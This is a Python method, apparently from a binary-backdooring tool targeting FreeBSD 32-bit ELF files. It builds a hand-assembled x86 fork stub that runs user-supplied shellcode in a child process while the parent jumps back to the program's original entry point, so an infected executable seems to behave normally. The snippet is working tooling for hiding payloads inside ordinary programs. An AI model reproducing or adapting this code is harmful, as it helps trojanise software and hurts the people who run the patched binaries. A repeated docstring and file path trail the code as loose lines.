    def user_supplied_shellcode(self, CavesPicked={}):
        """
        For position independent shellcode from the user
        """
        if self.SUPPLIED_SHELLCODE is None:
            print "[!] User must provide shellcode for this module (-U)"
            return False
        else:
            supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()

        #FORK SHELLCODE
        self.shellcode1 = "\x52"        # push edx
        self.shellcode1 += "\x31\xC0"   # xor eax, eax
        self.shellcode1 += "\xB0\x02"   # mov al, 2
        self.shellcode1 += "\xCD\x80"   # int 80
        self.shellcode1 += "\x5A"       # pop edx
        self.shellcode1 += "\x85\xc0\x74\x07"
        self.shellcode1 += "\xbd"
        self.shellcode1 += struct.pack("<I", self.e_entry)
        self.shellcode1 += "\xff\xe5"
        self.shellcode1 += supplied_shellcode

        self.shellcode = self.shellcode1
        return (self.shellcode1)
For position independent shellcode from the user
intel/FreeBSDIntelELF32.py